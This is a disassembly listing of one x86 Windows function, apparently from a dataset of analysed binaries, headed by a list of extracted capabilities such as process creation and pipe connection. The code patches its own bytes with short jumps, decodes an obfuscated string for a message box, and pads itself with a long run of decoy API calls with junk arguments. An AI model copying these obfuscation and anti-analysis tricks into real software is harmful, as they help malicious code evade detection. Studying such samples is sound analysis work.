Function at 0xa911a6
Capabilities:
Accept command line arguments
Allocate thread local storage
Compare security identifiers
Connect pipe
Create process on windows
Create thread
Get common file path
Get geographical location
Get session user name
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x10], 0xa91b60
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa91036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa911a6
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa910b8
call fcn.0046e584
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa9107a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa91094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa91094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa9104a
mov byte [ebp - 0x64], 1
mov byte [ebp - 0x63], 0x76
mov byte [ebp - 0x62], 0
mov byte [ebp - 0x61], 0x75
mov byte [ebp - 0x60], 7
mov byte [ebp - 0x5f], 0xea
mov byte [ebp - 0x5e], 0
mov byte [ebp - 0x5d], 0x7b
mov byte [ebp - 0x5c], 0x42
mov byte [ebp - 0x5b], 0xf3
mov byte [ebp - 0x5a], 0xbe
mov byte [ebp - 0x59], 6
mov byte [ebp - 0x58], 0x73
mov byte [ebp - 0x57], 7
mov byte [ebp - 0x56], 0x68
mov byte [ebp - 0x55], 9
mov byte [ebp - 0x54], 0x72
mov byte [ebp - 0x53], 2
mov byte [ebp - 0x52], 0x79
mov byte [ebp - 0x51], 3
mov byte [ebp - 0x50], 0x2d
mov byte [ebp - 0x4f], 5
mov byte [ebp - 0x4e], 0x78
mov byte [ebp - 0x4d], 8
mov byte [ebp - 0x4c], 0x81
mov byte [ebp - 0x4b], 4
mov byte [ebp - 0x4a], 0x8a
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa91136
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1b
jae 0xa9119b
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x64]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa91162
mov dword [ebp - 0x24], 7
mov eax, dword [ebp - 8]
add eax, 5
mov dword [ebp - 8], eax
jmp 0xa9112e
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x63]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa9118a
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa91177
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x64]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa9112e
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa85ada
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407c31
mov ecx, eax
call fcn.00402c7b
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402c1f
and dword [ebp - 0x1c], 0
jmp 0xa911de
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa911ee
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa911d7
push 0x14f9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
push 0
push 0x1900
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 0
push 0x20f3
push 0x1da1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
push 0
push 0xe2f
push 0x1921
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
push 0x82c
push 0x11fa
push 0xd0b
push 0x1055
push 0
call dword [sym.imp.USER32.dll_SetRect]
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0x18e3
push 0xdd
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
push 0xf6d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x1434
push 0x249f
push 0x234b
push 0x19ef
push 0xf52
push 0x1603
push 0x13b1
push 0x17af
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0x1c07
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 1
push 0x83e
push 0x382
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0xd73
push 0x1001
push 0x1e74
push 0x1c2c
push 0x18f9
push 0xb7c
push 0x1d35
push 0x8f6
push 0x3d8
push 0x8b5
push 0xc4a
push 0x21c6
push 0x15e
call dword [sym.imp.GDI32.dll_CreateFontA]
push 0xe30
push 0
push 0x882
push 0x20cf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x16d
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x1fda
push 0x323
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0x1107
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
push 0
push 0x252f
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0x225e
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push 0x580
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x2490
push 0x6b8
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push 0x1202
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0
push 0x1ad7
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
push 0x3c
push 0x1280
push 0x21d4
push 0xf01
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 0x53e
push 0x946
push 0
push 0
push 0x72c
push 0x179c
call dword [sym.imp.USER32.dll_ToUnicode]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x1fd7
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0x113f
push 0x1969
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
push 0x10c0
push 0
push 0
push 0x27a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
push 0xf52
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0xb93
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 0
push 0
push 0x1b5c
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 0xf5a
push 0
push 0x15ac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0x12ec
push 0x1bbf
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
push 0
push 0
push 0xa10
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0
push 0
push 0x1d43
push 0x18ee
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
push 0x3bd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0x2282
push 0x2460
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0x12c6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
push 0x180f
push 0x165b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
push 0x1599
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0xe03
push 0x283
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0x10e6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0x11c6
push 0x7d0
push 0x6ff
push 0x1f97
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
push 0x25b0
push 0xb7f
push 0xa4f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
push 0x10c3
push 0
push 0x1f9
push 0
push 0x1cce
push 0xa64
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x1d19
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
push 0x61c
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0x12ff
push 0x2a2
push 0x1e2
push 0x12ad
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 0x241e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0x1057
push 0x160c
push 0x255c
push 0x2475
push 0x1d88
push 0x1ea6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 0x1dd5
push 0x8e3
push 0x1a3f
push 0x149f
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
push 0x26ad
push 0x126e
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0x81f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 0x72d
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
push 0
push 0x2308
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0x3c7
push 0x1498
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_LineTo]
push 0
push 0xbec
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
push 0xc25
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 0
push 0
push 0x1107
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0
push 0
push 0
push 0
push 0x455
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0
push 0x747
push 0x84
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x2444
push 0xea3
push 0x17aa
push 0x20af
push 0x110b
push 0x68c
push 0xcda
push 0x206
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
push 0x84a
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0
push 0x1e60
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0x1445
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8c2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0xd31
push 0x890
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
push 0xc12
push 0xee3
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0
push 0
push 0x17be
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 0
push 0x2156
push 0
push 0
push 0x15d2
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1d18
push 0xf5c
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0x8b8
push 0x159f
push 0
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
push 0xdbf
push 0
push 0
push 0
push 0x12e0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0x7d8
push 0
push 0x15d9
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
jmp 0xa91b6a
mov esp, ebp
pop ebp
ret